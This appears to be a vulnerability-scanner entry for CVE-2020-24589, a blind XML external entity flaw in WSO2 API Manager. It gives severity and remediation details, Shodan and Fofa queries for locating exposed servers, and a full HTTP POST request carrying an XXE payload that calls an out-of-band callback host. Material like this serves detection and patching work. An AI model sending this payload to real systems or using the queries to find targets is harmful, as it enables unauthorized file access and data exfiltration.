| Title | WSO2 API Manager <=3.1.0 - Blind XML External Entity Injection |
|---|---|
| Author | lethargynavigator |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, denial of service, or server-side request forgery. |
| Remediation | Upgrade to a patched version of WSO2 API Manager (3.1.1 or above) or apply the provided security patch. |
| CVSS Score | 9.1 |
| EPSS Score | 0.90156 |
| CVE ID | CVE-2020-24589 |
| CWE ID | CWE-611 |
| Shodan Query | http.favicon.hash:1398055326 |
| Fofa Query | icon_hash=1398055326 |
| Tags | cve2020 cve wso2 xxe oast blind vkev vuln |
WSO2 API Manager 3.1.0 and earlier is vulnerable to blind XML external entity injection (XXE). XXE often allows an attacker to view files on the server file system, and to interact with any backend or external systems that the application itself can access which allows the attacker to transmit sensitive data from the compromised server to a system that the attacker controls.
POST /carbon/generic/save_artifact_ajaxprocessor.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Content-Length: 140
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
payload=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+a+[+<!ENTITY+%25+xxe+SYSTEM+"http%3a//d5joolple0o1lm5sin2gix8w6gt8ta3n9.oast.site">%25xxe%3b]>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24589.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-24589.pcap
N/AN/A